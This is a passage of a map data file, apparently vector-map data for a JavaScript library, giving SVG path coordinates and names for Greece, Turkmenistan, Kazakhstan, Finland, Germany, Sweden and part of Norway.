-3.02,-0.62 -1.68,2.8 -1.92,4.11 -2.48,0.25 -0.03,-2.58 -2.33,-3.13 -1.56,-1.69 2.11,-3.33 -0.42,-5.29 -1.75,-1.46 -3.48,-2.23 -4.88,-3.8 -1.71,-0.32 1.67,-2.18 0.95,-3.89 1.31,0.41 3.43,-0.58 4.2,-2.4 2.31,-0.03 5.27,1.8 8.03,2.01 1.1,0.72 3.08,0.98 3.24,1.46 1.77,0.36 1.5,3.47 4.29,3.78 1.97,0.86 -3.33,1.22 -3.75,-0.39 -3.29,-1.87 -3.6,3.04 -0.88,3.97 1.42,2.4 3.54,4.49 2.98,7.25 0.93,1.21 1.93,2.16 0.11,0.68 -1.13,-1.37 -3.59,-4.36 -5,-1.33 -0.38,1.2 -0.28,2.48 -0.25,3.72z m12.62,-17.67c-0.61,-1.76 -3.37,-2.18 -4.61,-3.83 -1.54,-1.35 -1.12,2.07 -3.22,1.63 -1.32,1.11 -3.33,0.37 -1.06,-0.31 2.53,-1.38 -0.23,-3.22 -1.98,-2.17 -2.19,0.64 -2.76,-3.59 -4.29,-0.5 0.28,-1.81 -1.78,-2.98 -1.95,-0.63 -1.85,0.67 -5.66,-0.17 -7.42,2.31 -1.43,-1.51 -2.69,-1.73 -3.58,0.32 -0.06,-3.13 -3.02,-4.71 -4.64,-5.97 -0.05,-3.03 -3.45,-4.15 -5.3,-5.69 0.58,-2.13 -4.66,-2.22 -1.22,-2.7 1.45,0.13 1.31,-1.81 1.97,-2.79 -2.74,-2.59 4.57,-2.51 2.29,-5.81 0.57,-2.27 3.93,-4.04 1.77,-6.57 2.29,-1.19 5.68,-0.59 7.21,-3.12 0.92,-4.2 5.51,-0.91 7.7,-3.66 0.88,-0.81 0.03,-3.12 2.26,-2.13 2.68,-1.49 5.94,-1.98 8.75,-3.4 1.35,-1.69 4.25,-2.43 5.72,-0.71 1.88,0.93 3.48,-0.95 5.39,0.66 2.83,0.48 5.06,-1.99 7.75,-2.56 2.63,-1.48 -0.92,-3.81 -0.19,-4.93 2.53,-0.82 6.54,2.78 3.07,4.45 -2.66,1.03 1.16,6.08 -1.92,6.2 -2.59,-1.16 -5.58,1.42 -8.08,-0.62 -2.31,-0.06 -3.98,4.61 -5.94,1.87 -2.75,-0.21 -2.93,5.39 -5.82,3.29 -2.56,0.13 -2.19,2.87 -0.61,3.88 1.51,1.31 -0.02,1.67 -0.46,3.12 -2.01,-0.91 -2.94,1.12 -4.72,-0.3 -3.05,1.25 -3.01,-2.2 -1.76,-3.97 -0.09,-0.54 -2.81,1.81 -3.44,2.49 -1.02,1.92 0.18,3.87 -0.21,6.03 1.55,1.98 3.8,3.4 4.84,5.84 0.92,0.8 4.25,2.4 3.42,2.64 -2.14,-2.19 -4.85,-0.02 -3.78,2.46 1.31,0.13 3.2,1.7 0.6,2.21 -1.13,0.04 -4.23,2.36 -2.68,2.49 2.62,-1.25 4.96,1.17 7.41,0.98 0.52,2.36 2.91,0.77 3.98,2.53 2.06,0.36 4.93,0.25 3.64,2.95 0.1,1.33 1.96,3.02 1.13,4.05z m-32.41,-12.35c-2.66,1.97 2.35,4.76 3.65,1.72 0.88,-3.08 -2.48,0.37 -3.25,-1.63l-0.4,-0.09 0,0z m1.2,12.17c-2.12,0.67 -3.94,-2.49 -2.24,-3.05 -0.52,2.11 1.79,2.11 2.24,3.05z m35.21,-4.75c-1.33,-0.45 -3.15,-2.25 -0.48,-1.45 1.91,-0.84 2.27,1.01 0.48,1.45z m-3.1,-3.76c-1.98,-1.68 -5.22,0.85 -5.86,-2.11 -1.43,-1.48 -5.05,-2.2 -5.77,-2.78 2.78,-2.67 4.14,2.1 7.15,1.68 1.66,0.78 3.06,-0.62 3.9,1.22 0.4,0.59 0.43,1.32 0.58,1.99z m-10.1,-17.81c-3.53,-1.73 2.32,0.07 0,0z m3.59,-1.57c-2.32,-1.62 -0.44,-1.62 0.45,0.12l-0.11,0.22 -0.34,-0.34z","name":"Greece"},"tm":{"path":"m679.06,344.59c-1.21,-0.72 -0.78,-2.05 -2.51,-2.48 -0.91,-2.53 -0.44,-5.74 -2.11,-7.9 1.43,2.3 3.65,0.44 4.81,-0.09 -0.04,3.47 0.02,6.95 -0.03,10.42l-0.16,0.04z m-9.11,-14.43c-1.83,0.29 -2,-1.85 -2.97,-2.07 -2.67,-0.77 0.57,-4.63 0.48,-6.52 1.65,-3.13 3.89,-6.16 6.88,-8.09 1.36,-0.18 5.09,-1.73 4.9,0.43 0,2.65 0,5.3 0,7.95 -2.35,-1.52 -3.83,-5.43 -6.79,-5.11 -2.41,2.22 -6.24,4.38 -5.17,8.26 -0.05,1.27 0.71,3.09 1.95,2.4 0.34,0.89 0.41,1.85 0.72,2.75z m9.29,-40.46c-2.98,-4.77 -6.29,-9.32 -9.41,-14 0.44,-3.11 3.69,-4.89 4.74,-7.82 1.56,-2.45 3.21,-4.85 4.68,-7.37 0,9.73 0,19.46 0,29.19z","name":"Turkmenistan"},"kz":{"path":"m665.18,326.25c-2.97,-1.86 -1.2,-5.67 -2.65,-8.21 0.53,-3.17 -3.51,-2.8 -4.88,-0.83 -1.79,-1.67 -2.48,2.95 -4.91,0.84 -1.43,-2.21 -3.22,-0.68 -4.76,0.52 -0.4,-3.09 -3.28,-5.18 -6.16,-5.75 -2.02,-1.36 -4.24,-5.19 -6.86,-2.37 -2.9,1.87 -4.15,-4.1 -0.51,-3.35 1.06,-1.32 1.8,-1.79 3.42,-0.84 1.53,-0.78 2.76,-2.24 4.06,-3.11 -1.44,-2.18 -5.78,0.43 -7.07,-2.22 0.12,-1.34 3.47,-2.2 0.83,-3.45 -1.26,-2.14 2.16,-2.43 1.45,-4.52 2.51,-0.62 4.01,-2.7 6.42,-3.67 1.55,-0.68 5.82,-1.56 4.27,-3.73 -2.44,0.42 -5.53,1.2 -4.64,-2.51 0.27,-3.12 -0.67,-6.7 -3.34,-8.56 -1.46,-0.11 0.78,-3.59 -1.86,-3.15 -1.5,-2.77 -4.84,0.02 -6.51,0.7 0.1,2.2 -0.93,4.69 -3.45,3.61 -2.4,0.56 -6.57,-0.38 -7.49,3.29 -0,2.58 -2.65,3.31 -2.68,6 -1.27,1.57 -1.07,5.37 -3.43,5.36 -2.12,-0.08 -2.2,2.62 -2.46,3.63 -1.26,0.74 -5.86,0.39 -4.64,-0.82 3.5,0.56 3.47,-4.4 0.06,-4.32 -3.14,-1.51 -5.73,-4.02 -8.93,-5.36 -2.47,-0.32 -4.25,2.11 -6.54,2.07 -0.12,1.28 0.37,2.59 -1.35,1.17 -1.8,-0.93 0.01,-2.79 -2.21,-3.3 0,-2.52 -4.2,-0.23 -5.74,-0.66 -0.96,-2.72 -0.8,-5.85 -0.41,-8.82 0.73,-3.23 -4.34,-1.07 -3.74,-4.61 -1.48,-2.21 -1.17,-5.16 0.32,-7.28 -2.58,-1.5 -1.53,-6.73 1.82,-4.04 2.29,0.54 4.78,3.98 7.13,1.98 1.97,-1.65 2.09,-5.06 -0.41,-5.79 -0.5,-2.08 -4.31,-2.93 -1.9,-4.7 0.1,-1.7 1.79,-4.1 2.05,-4.93 -2.7,-0.86 -1.25,-3.39 0.39,-3.59 0.3,-2.73 3.83,-4.97 2.24,-7.88 -1.16,-1.26 2.12,-0.49 0.87,-2.37 -0.73,-0.82 1.71,-0.82 1.99,-1.86 2.14,-0.45 -1.05,2.08 1.69,2.02 1.48,-0.55 1.41,-1.96 2.93,-1.7 0.29,-1.63 -1.06,-3.26 1.01,-4 0.5,-1.63 0.88,-2.2 1.87,-0.46 3.2,2.4 4.8,-3.1 7.46,-3.43 1.62,1.55 3.73,2.04 5.43,0.37 1.27,1.42 3.01,1.43 4.62,1.61 -0.26,2.56 4.05,4.44 3.68,0.87 -0.11,-2.04 -2.23,-3.06 -3.52,-3.49 2.49,-1.89 5.28,1.44 8.06,-0.13 2.65,1.71 2.89,-3.09 2.88,-4.82 -0.94,-1.46 1.32,-2.87 0.36,-4.29 1.64,0.4 1.75,-1.1 1.34,-1.85 1.08,-2.25 2.79,-1.39 4.44,-0.52 1,-0.8 1.78,-2.46 2.98,-2.01 -1.89,-1.21 -2.16,-3.64 0.61,-3.9 -0.26,-1.23 0.14,-1.29 1.28,-1.45 1.06,-0.94 2.07,2.58 4.01,1.26 1.98,1.74 4.96,-3.12 5.37,-1.36 0.29,1.89 3.37,-0.99 2.39,-2.55 -0.11,-1.94 -1.41,-4.21 1.46,-3.17 2.91,-0.36 4.26,-3.79 5.34,-6.17 1.47,-2.93 -2.47,-4.1 -2.09,-6.64 -1.36,-2.25 -4.48,-0.11 -5.91,0.2 -2.22,-2.09 -4.58,3.81 -4.91,0.16 -1.29,-0.68 -2.71,2.23 -3.65,0.73 1.29,-1.47 1.19,-4.25 2.39,-6.18 1.51,-3.13 -2.02,-3.28 -3.58,-4.22 -3.1,0.97 0.81,-3.99 -1.61,-4.03 1.01,-2.42 4.84,-2.6 5.47,-5.2 -0.01,-2.9 -4.66,-1.68 -5.74,0.02 -1.13,1.71 -4.5,-0.24 -1.75,-0.92 2.16,-2.49 -2.77,-3.66 -2.05,-1.2 -2.33,3.55 -0.85,-4.14 -3.83,-1.64 1.26,-0.48 -0.31,-3.76 1.92,-2.68 1.3,1.04 0.21,-2.26 2.14,-1.3 2.74,-0.21 -1.15,-2.68 1.49,-3.26 1.26,2.1 3.9,-0.29 1.53,-1.19 0.54,-2.35 2.7,-4.74 3.28,-7.51 1.48,-0.31 3.12,-1.58 1.37,-2.69 1.12,-2.77 3.18,-4.87 5.44,-6.15 -0.1,-1.8 -3.04,-1.6 -1.06,-3.51 0.73,-2.38 2.55,-3.81 3.48,-6.49 2.08,-2.53 2.36,-5.49 3.47,-8.34 0.29,-1.69 3.72,-3.96 0.35,-4.97 -1.01,-0.43 2.31,-2.04 0.29,-3.41 -1.75,-1.68 3.22,-0.78 0.65,-2.37 -1.73,-0.49 3.06,-0.82 1.8,-2.5 2.25,-1.54 6.79,-0.26 5.35,-4.64 -0.2,-2.91 3.08,-0.72 4.32,0.28 1.69,1.75 4.12,-0.2 4.78,2.52 1.5,0.9 1.01,3.62 3.74,3.35 2.67,0.01 -0.81,-3.38 2.11,-2.14 1.93,-0.51 -0.97,-4.41 1.41,-3.27 0,52.65 0,105.3 0,157.95 -2.28,4.16 -5.07,8.03 -7.49,12.09 -2.11,1.94 -4.29,5.26 -1.49,7.58 3.01,4.53 6.37,8.91 8.98,13.65 0.02,6.62 -0.04,13.29 0.04,19.87 -3.05,0.34 -6.58,0.54 -8.5,3.49 -2.48,2.8 -4.81,5.91 -5.35,9.73 -0.09,0.46 -0.18,0.92 -0.25,1.38z","name":"Kazakhstan"},"fi":{"path":"m382.62,208.07c0.7,-3.07 -2.78,1.32 -3.86,-1.32 0.05,-0.96 1.56,-3.75 -0.71,-2.21 -1.13,1.69 -1.33,-1.45 -2.92,-0.68 -0.94,0.89 -2.97,-0.9 -3.55,-0.42 -0.14,-2.36 -1.97,-0.15 -2.25,-0.03 -0.63,-1.67 -0.91,-3.6 -2.08,-5.17 1.86,-0.74 1.72,-4.06 0.26,-5.25 -0.34,-1.47 3.17,-0.38 1.07,-2.02 -1.2,-2.15 -2.78,-4.06 -3.52,-6.25 0.62,-2.08 -0.63,-3.97 -1.49,-4.42 0.49,-1.2 -0.5,-2.29 -0.95,-2.29 0.13,-1.71 3.82,-4.59 2.52,-5.52 -3.07,-0.18 0.32,-3.17 1.17,-0.45 1.02,-1.23 3.05,-2.66 2.12,-4.84 0.01,-1.7 0.15,-2.94 1.36,-1.21 0.12,-2.42 1.26,-4.91 3.64,-5.85 -0.72,-2.45 1.54,-4.8 2.24,-7.01 -0.27,-2.84 0.9,-5.24 3.71,-6.24 1.6,-1.13 1.77,-3.36 -0.51,-2.84 -0.44,-2.27 -0.12,-5.32 -2.74,-6.02 -2.3,1.99 -2.43,-3.68 -4.97,-1.88 -1.75,-2.03 -4.37,-4.52 -3.48,-7.48 1.52,-3.03 -0.83,-5.16 -2.34,-7.18 -0.2,-1.46 0.87,-4.46 -1.6,-3.74 -0.01,-2.39 -0.15,-4.83 -1.27,-7.01 -2.48,-1.84 -4.57,-4.14 -8.05,-4.18 -1.93,-1.7 -6.43,-2.88 -5.46,-6.12 -0.41,-2.16 1.14,-3.53 2.73,-1.48 2.59,1.31 1.85,6.17 5.39,5.44 2.27,0.35 4.34,-0.45 4.98,-2.51 2.4,-0.26 6.27,3.96 5.78,-0.87 -0.39,-2.02 3.32,-1.43 1.97,-3.98 -1.32,-3.02 -2.11,-7.03 -0.35,-9.99 -0.31,-2.74 4.21,-0.11 4.22,-3.35 1.47,-1.91 3.36,2.08 5.49,1.78 2.95,0.9 3.14,3.84 1.7,6.03 1.41,1.64 0.21,2.38 -0.46,3.84 1.14,0.8 2.75,1.02 1.72,2.87 -0.47,3.13 2.02,6.77 5.45,6.28 1.67,2.35 6.13,3.59 3.92,7.14 -0.75,2.27 -1.97,4.85 -0.96,7.21 3.59,3.29 6.5,7.25 9.05,11.36 0.06,1.49 -2.83,0.38 -0.84,2.06 -0.22,2.17 0.21,4.77 1.29,6.07 -1.26,3.74 5.08,3.34 3.58,6.82 0.48,3.1 6.13,1.5 4.41,5.52 -0.25,1.99 -2.95,4.48 0.53,5.03 2.93,1.69 6.43,2.67 8.87,5.07 1.06,2.48 -0.3,5.24 -0.57,7.75 -2.26,6.49 -4.21,13.14 -7.27,19.3 -1.55,2.69 -3.59,5.26 -4.3,8.32 -1.76,0.21 -3.5,-1.24 -4.38,1.19 1.52,0.77 -3.01,1.75 -1.49,-0.16 -0.76,-2.31 -1.99,0.16 -1.56,1.47 -1.82,-2.09 -4.5,1.44 -1.45,2.01 0.62,2.53 -3.67,-2.15 -3.14,-0.28 0.89,2.06 -2.52,3.25 -2.85,3.52 -2.72,0.33 -4.14,2.39 -6.64,3.79l-0.57,0.27 -0.58,0.1 0,0z","name":"Finland"},"de":{"path":"m302.45,372.15c0.39,-0.91 1.99,-2.77 0.16,-1.49 -1.57,0.93 -2.11,-2.91 -4.19,-2.08 -2.04,1.85 -3.44,-2.27 -6.01,-1.15 -2.15,0.46 -2.02,-2.87 -4.5,-1.23 -1.72,0.52 0.38,3.76 -1.44,1.73 -1.84,0.2 -4.84,0.84 -5.69,-0.07 -0.64,-1 1.16,-4.13 0.65,-5.99 1.9,-2.36 0.91,-6.25 3.86,-7.87 2.56,-1.63 0.59,-4.12 -1.86,-3.67 -2.56,0.2 -2.84,-3.15 -5.48,-1.32 -1.23,0.08 -2.11,-2.54 -3.28,-1.12 -0.17,-2.33 -4.09,-3.23 -1.38,-5.35 1.81,-3.01 -5.32,-3.18 -1.88,-6.63 1.67,-1.33 2.21,-2.89 0.22,-4.22 1.95,-2 -1.2,-0.75 -1.34,-2.77 1.01,-1.22 0.18,-2.51 -0.16,-3.21 1.78,-1.86 2.88,-5.05 1.22,-7.64 -2.19,-2.06 0.71,-2.52 2.29,-1.67 2.39,0.34 3.33,-2.08 3.64,-3.33 2.38,-1.19 2.15,-5.11 -0.59,-5.64 -0.03,-1.55 3.42,0.08 2.83,-2.66 0.31,-2.54 1.52,-4.9 2.38,-7.37 -0.34,-0.18 -3.53,0.96 -2.22,-1.41 0.9,-2.9 4.25,-1.28 6.2,-2.15 0.16,2.03 2.57,6.54 4.4,3.34 0.14,-1.85 -1,-6.59 2.18,-4.76 1.27,0.28 4.88,-0.75 2.09,-1.66 -3.15,0.44 1.18,-4.81 -1.98,-5.31 4.2,-1.72 -2.92,-4.5 -0.43,-6.3 2.37,1.37 6.56,0.38 7.64,2.55 -0.45,0.53 1.55,0.68 -0.04,1.71 -1.46,1.22 0.47,2.21 1.51,1.23 -1.09,2.31 1.04,2.07 1.81,0.68 1.67,1.18 3.81,1.56 5.14,0.49 0.21,1.77 -4.56,3.93 -2.04,5 1.38,0.2 3.65,-1.17 3.27,1.31 2.66,-0.01 2.46,-4.21 4.91,-4.12 1.43,1.57 3,-1.39 3.56,-2.49 0.61,-2.1 3.54,-0.7 4.16,-0.17 0.88,1.8 2.57,3.83 4.93,3.32 -0.95,4 4.51,3.57 4.6,6.93 3.14,3.28 -3.49,6.24 0.16,9.19 2.04,0.76 2.91,2.01 2.23,4.17 0.93,1.99 2.9,4.81 0.48,6.79 1.68,1.23 1.03,4.11 3.18,4.83 0.68,1.92 0.82,5.65 -0.66,6.5 -0.87,-1.78 -4.46,-3.53 -3.95,-0.41 1.16,0.88 -2.8,1.08 -3.3,2.22 -2.5,0.18 -3.71,2.69 -5.8,3.41 -0.73,-0.12 -0.57,1.65 -2.06,0.72 -2.78,-0.99 -2.28,4.11 -4.17,1.96 -3.51,0.44 1.56,4.5 2.19,5.46 -2.26,2.79 1.42,6 3.88,7.15 1.53,1.88 3.04,3.44 5.43,4.44 2.44,1.22 2.24,4.86 -1.02,3.8 -0.57,1.52 -0.37,3.53 -2.79,3.73 -3.29,0.46 -2.9,3.65 -1.01,5.5 0.76,1.93 -3,3.3 -3.36,1.75 -0.45,-0 -3.6,-1.29 -2.93,0.98 -3.48,-0.65 -5.56,1.87 -8.47,2.95 -1.59,-0.45 -2.06,-3.03 -4.27,-1.95 -2.85,-1.05 -0.37,3.13 -2.89,3.37z m-6.7,-79.27c-0.21,2.06 4.44,6.44 3.78,2.2 -1.59,0.14 -2.26,-2.95 -3.66,-2.25L295.75,292.88z m29,76.43c-1.59,-1.17 -0.3,-3.24 0.69,-1.13 -0.04,0.43 -0.23,0.99 -0.69,1.13z m-0.01,-83.07c-2.42,-0.16 -2.07,-4.22 0.32,-2.83 -1.17,-1.29 -0.5,-0.74 0.89,-0.58 -1.82,1.06 2.32,2.92 -0.86,3.34l-0.35,0.07 0,0z","name":"Germany"},"se":{"path":"m323.06,272.38c-2.85,0.68 -1.5,-2.92 -0.88,-3.47 -1.34,-1.73 -2.37,-3.77 -4.04,-5.01 0.79,-1.22 -1.53,-2.8 1.01,-1.48 2.77,0.18 -2.19,-2.84 0.98,-2.65 2.38,-2.15 -2.21,-3.59 -2.38,-5.5 -2.18,-0.93 -1.38,-4.24 -3.57,-5.03 -0.5,-2.35 -1.05,-4.69 -2.37,-6.57 0.36,-2.06 3.34,-6.36 -0.08,-6.96 -1.38,2.23 -3.39,1.39 -2.89,-1.18 0.66,-1.66 -0.9,-5.32 -0.3,-5.55 1.22,1.95 2.5,1.63 3.29,-0.5 0.91,-2.52 -0.9,-5.03 -0.38,-7.57 2.08,-1.14 -0.02,-3.96 3.05,-4 2.39,-1.51 1.37,-4.54 1.71,-6.85 0.8,-2.58 -4.53,-6.31 0,-6.91 1.04,-0.81 1.22,-3.31 1.37,-4.79 -1.12,-2.38 -6.01,-2.81 -4.1,-6.25 1.84,-3.74 -1.45,-6.92 -1.02,-10.47 0.52,-2.44 0.53,-5.73 -0.14,-7.32 0.64,-2.96 1.19,-6.43 4.34,-7.91 2.35,-0.49 6.23,1.31 6.51,-2.71 0.96,-3.43 -4.73,-4.28 -1.85,-7.71 0.9,-2.93 3.32,-5.66 2.42,-8.87 0.15,-1.92 0.67,-3.87 -0.11,-5.73 -1.01,-2.32 3.73,-0.74 3.99,-3.33 -0.13,-2.25 -0.54,-4.21 1.52,-5.81 2.69,-2.56 2.7,-6.48 0.46,-8.94 2.93,-1.39 1.66,-4.89 3.52,-7.09 1.35,-0.88 5.1,1.96 4.84,-1.65 -0.51,-1.95 -1.78,-6.23 1.75,-4.92 2.24,0.45 5.5,2.66 7.12,-0.07 1.29,-1.53 -2.75,-1.44 -0.66,-3.53 0.95,-1.42 0.76,-3.57 -0.83,-4.28 3.02,-0.52 2.64,2.5 5.35,3.5 2.17,2.8 6.24,2.01 8.45,4.17 1.81,1.26 3.78,2.76 3.22,5.22 1.03,1.27 -0.68,4.42 1.98,4.24 -0.85,2.83 1.11,4.63 2.62,6.51 0.04,2.86 -1.49,6.25 1.05,8.57 1.6,1.29 3.31,4.27 -0.1,3.45 -1.76,0.14 -2.91,-0.92 -2.17,1.42 -0.95,1.6 -5.22,-2.83 -4.14,0.58 0.84,1.65 -2.05,2.45 -1.57,1.13 -2.06,-0.65 -0.53,1.54 0.66,1.49 -0.6,0.2 -1.52,0.57 -0.3,1.82 -1.49,0.26 -4.7,1.58 -1.68,2.64 2.32,2.25 -3.2,4.64 -1.02,7.19 1.54,0.9 4.4,2.82 1.64,4.33 -1.68,2.21 -0.66,5.89 -3.12,7.17 -0.94,1.59 -3.16,2.96 -4.81,3.45 -0.21,1.34 -1.22,2.8 -1.35,4.54 -1.77,-1.72 -2.61,0.56 -2.76,1.85 -1.12,0.81 -2.56,2.13 0.01,2.01 -0.44,1.31 -4.33,0.73 -2.47,3.43 -0.06,0.73 -0.49,2.94 -1.88,1.95 -2.76,-0.24 -2.07,3.37 0.06,3.69 -0.77,1.95 -1.46,4.89 0.24,6.81 -3.74,-1.85 -2.36,2.41 -0.94,3.91 0.18,1.27 -3.07,0.5 -0.73,1.44 0.84,1.85 1.12,4.66 1.43,6.67 -0.32,2.79 5.02,-0.22 4.86,2.53 0.7,1.96 4.04,1.71 4.48,1.82 -3.19,-0.43 -0.28,3.53 1.17,3.32 1.13,1.08 3.55,2.93 0.69,3.17 -0.96,1.32 -2.08,3.54 -3.42,3.71 1.54,1.27 -2.79,1.25 -1.63,-0.68 0.49,-2.21 -4.13,-4.8 -3.64,-1.69 1.43,0.51 0.2,2.21 2.13,2.69 -1.79,0.21 -3.94,-2.79 -5.52,-0.41 -0.59,-1.15 -2.36,-1.3 -1.99,0.35 -2.53,-0.76 -3.68,2.49 -1.03,1.96 1.95,-0.49 4.14,0.17 6.05,0.67 -0.71,2.97 4.28,-1.28 2.88,1.93 -0.14,2.13 -0.95,4.88 -3.12,4.77 0.18,1.44 -0.14,1.56 -2.15,1.24 -1.48,-0.93 -5.69,1.16 -2.24,1.59 0.93,-0.93 4.88,0.08 2.51,0.95 -1.3,-0.74 -2.65,-1.15 -1.6,0.7 1.1,0.49 3.58,1.85 1.37,2.42 -0.48,1.93 2.49,4.34 -0.83,3.78 -1.22,1.55 3.46,2.55 0.79,3.59 -0.59,1.57 1.8,1.83 -0.1,3.07 -0.36,1.71 1.22,3.68 -0.24,4.3 0.8,1.29 0.72,4.62 -0.49,4.51 -0.92,1.99 -0.01,8.09 -3.9,5.74 -0.75,-0.04 -1.2,1.04 -1.28,-0.03 -1.81,1.13 -4.91,0.3 -5.24,2.54 -3.47,0.86 -2.77,5.15 -1.48,7.22 -1.25,2.12 -3.78,-0.71 -5.21,1.44 -0.58,0.2 -1.19,0.28 -1.8,0.28z m21.76,-13.69c-0.6,-1.64 -0.03,-5.51 0.58,-5.62 -0.47,1.84 -0.07,3.79 -0.58,5.62z m11.16,-10.28c-1.47,-2.04 -0.57,-3.97 -1.15,-6.17 0.13,-1.54 3.5,-5.82 3.93,-3.32 -1.59,1.67 -1.23,4.3 -0.42,5.29 -0.56,1.58 -2.33,2.58 -2.36,4.21z m-6.04,-22.62c-0.58,-0.9 -1.01,-2.64 0.37,-3.19 0.51,-2.57 3.62,1.5 0.73,1.06 -0.71,0.44 -0.93,1.57 -1.1,2.14z m3.41,-4.74c-1.71,-0.56 1.15,-0.98 0,0z","name":"Sweden"},"no":{"path":"m283.92,239.69c-2.05,0.82 -1.04,-2.38 -3.04,-0.45 -2.25,0.63 -2.45,-1.19 -0.48,-1.71 1.16,-1.98 -1.94,-1.69 -2.54,-0.89 -1.88,-1.69 -4.73,-3.13 -5.46,-5.54 0.16,-1.17 0.04,-2.84 1.26,-1.53 2.45,-0.31 0.5,-3.28 2.63,-3.15 -0.92,-1.74 3.6,-1.24 2.16,-3.19 -1.49,-0.01 -3.77,0.75 -1.5,-1.08 1.07,-1.87 -4.03,-2.48 -3.95,0.31 -0.43,1.99 -1.31,-1.27 0.03,-1.59 -0.59,-1.71 3.37,0.46 2.3,-1.73 2.11,-0.09 3.7,-3.31 0.62,-1.92 -2.12,1.06 -0.9,-1.62 0.69,-0.69 -1.77,-1.8 3.78,-2.21 0.57,-3.6 -0.56,-4.05 -3.61,3.53 -2.9,-0.4 -0.09,-1.07 2.45,-2.14 0.56,-2.38 1.23,-1.75 0.14,-1.45 -1.12,-1.67 -0.48,-2.03 3.39,-0.54 1.29,-2.62 -1.57,-0.11 -2.3,1.01 -2.92,1.83 0.23,-1.47 -0.96,-1.1 0.71,-1.97 1.17,-0.81 3,-0.92 0.68,-1.9 -1.68,1.41 -3.48,-0.55 -1.63,-1.27 2.35,2.15 4.25,-2.5 6.35,0.43 1.83,1.86 1.2,0.18 2.05,-1.15 2.54,-0.3 -0.18,4.44 3.17,3.6 2.08,-1.21 -0.36,-4.05 -1.72,-4.82 -1.87,-1.19 -2.86,1.17 -4.77,-0.24 -1.71,-0.32 -5.74,2.24 -5.21,-1.12 1.24,-0.84 -1.48,-1.91 1.02,-1.63 0.93,-0.21 -1.41,2 0.86,1.55 1.15,0.42 4.11,-2.74 2.32,-2.56 -1.17,0.24 -3.58,0.07 -2.04,-0.78 0.01,-1.15 -2.86,-0.72 -1.37,-2.6 1.92,-1.21 1.67,-2.06 2.44,-3.76 1.13,0.7 1.55,1.95 2.59,0.89 1.71,1.83 3.67,-1.21 0.78,-1.26 -1.72,-1.7 2.02,-2.98 1.47,-0.81 -0.08,1.94 2.1,2.28 1.49,0.15 -1.54,-0.73 -0.39,-3.26 1.26,-2.04 -0.9,2.54 1.99,2.46 3.2,1.29 -0.57,-1.07 -3.07,-0.84 -2.76,-2.61 -1.93,-0.78 -0.88,-1.18 0.63,-1.75 -0.31,2.53 1.54,0.84 1.46,0.89 0.76,2.66 4.97,0.16 2.35,-0.64 -1.68,1.13 0.97,-2.47 -1.62,-1.35 -1.33,0.1 -1.92,0.19 -0.62,-0.55 0.77,-1.45 -3.3,-3.11 -0.25,-2.56 1.36,2.34 4.5,0.23 4.77,-0.42 0.76,1.21 1.99,4.78 3.9,2.5 -0.19,-1.38 -1.61,-1.13 -0.15,-1.91 -0.52,-0.88 -3.96,-0.82 -1.31,-0.98 2.56,1.07 3.94,-2.68 1.6,-3.22 -2.38,3 -0.29,-2.57 1.23,-0.79 -1.13,2.54 3.47,1.05 2.52,-0.37 0.79,-1.1 1.41,-2.4 1.63,-0.68 1.42,0.16 -1.15,3.34 1.22,2.27 1.23,1.9 3.05,-0.32 1.25,-1.45 2.02,0.81 5.84,0.23 4.08,-2.68 2.55,-0.11 3.44,-2.71 1.89,-3.48 2.7,-0.44 1.04,-4.25 -0.61,-2.47 -0.94,0.99 -4.98,3.53 -3.32,4.59 1.36,-0.14 -3.55,4.36 -3.84,1.11 1.8,-0.4 1.59,-2.97 -0.14,-1.47 -1.54,1.59 -1.58,-0.15 0.05,-0.55 1.29,-0.12 3.11,-2.23 0.74,-1.96 0.49,-1.84 0.69,-1.57 2.55,-2.66 -0.01,-1.8 3.87,-1.75 1.44,-3.46 1.6,-3.11 2.62,3.25 4.94,0.36 -0.07,-0.91 1.83,-2.92 -0.44,-2.32 -1.97,0.37 0.51,-3.35 0.91,-3.77 2.46,-0.4 5.23,-2.14 6.04,-4.52 -0.69,-1.41 -1.97,0.46 -0.84,-1.25 0.83,-2.9 -4.58,-0.06 -1.84,-2.23 2.88,-0.42 -1.2,-4.08 2.2,-4.17 1.93,2.26 1.6,-1.88 -0.02,-2.41 1.79,-0.55 2.5,-1.55 4.25,-0.42 0.51,-2.76 -3.45,-2.33 -4.43,-3.58 -0.26,-3.01 2.59,-3.12 4.58,-3.67 0.29,-0.78 -0.81,-3.13 0.47,-2.48 2.46,0.65 2.45,-2.36 2.11,-3.23 1.27,-0.62 3.06,1.08 2.81,-1.49 0.06,-2.75 -4.88,2.23 -2.7,-0.53 -0.33,-1.84 3.17,-2.65 3.79,-1 0.44,2.38 2.69,0.96 0.74,-0.53 -0.37,-0.19 2.89,-3.12 0.16,-2.12 -1.52,1.62 -2.69,-1.67 -0.67,-0.49 2.18,0.6 1.78,-2.26 0.1,-2.63 1.64,-0.99 1.76,-1.25 3.09,0.31 2.65,0.05 -0.04,3.53 -1.13,3.83 -0.13,2.43 3.49,4.78 1.03,6.94 -1.52,2.38 -4.26,5.02 -2.96,8.1 -1.03,2.23 -5.62,0.34 -3.97,3.87 1.08,2.24 -0.41,4.62 0.29,6.91 -0.21,2.4 -1.5,4.65 -2.48,6.84 -1.89,2.33 -0.64,4.78 1.42,6.24 1.36,2.71 -1.06,4.75 -3.56,3.4 -3.47,0.13 -6.05,3.54 -6.55,6.75 -0.09,2.61 -2.39,4.76 -0.87,7.58 1.7,0.33 -0.26,3.51 0.65,5.09 0.93,2.11 2.11,4.27 1.04,6.66 -1.85,3.6 1.33,5.61 3.87,7.28 0.34,1.26 -0.49,2.52 -0.69,3.78 -4.37,0.5 -1.64,4.45 -0.68,6.73 -0.19,2.39 0.87,5.69 -1.37,7.29 -2.33,-0.08 -2.37,2.05 -2.44,3.42 -2.81,2.64 1.45,6.5 -0.89,9.33 -0.63,-0.51 -0.86,-4.28 -3.41,-3.07 -1.98,0.66 -1.1,-2.02 -2.18,-2.85 0.06,-1.66 0.25,-4.8 -1.34,-6.05 -1.51,0.96 0.6,3.37 -1.47,1.82 -1.6,1.08 1.29,3.05 0.43,4.75 1.82,1.57 -1.36,1.57 -0.61,3.28 -0.57,0.33 -1.78,3.28 -2.33,0.68 -1.69,-2.25 -3.03,0.06 -1.93,1.1 -2.37,0.2 -1.22,2.58 -3.27,2.72 0.26,1.74 0.63,2.15 -0.66,0.4 -0.55,-0.29 -0.31,3.24 -1.72,3.89 -1.13,1.13 -2.53,1.14 -2.96,2.81 -1.25,-1.4 -1.53,-2.14 -2.1,0.08 -0.58,1.07 -1.97,0.9 -2.97,1.19z m1.79,-42.62c-2.02,0.59 -1.81,3.69 -1.92,5.35 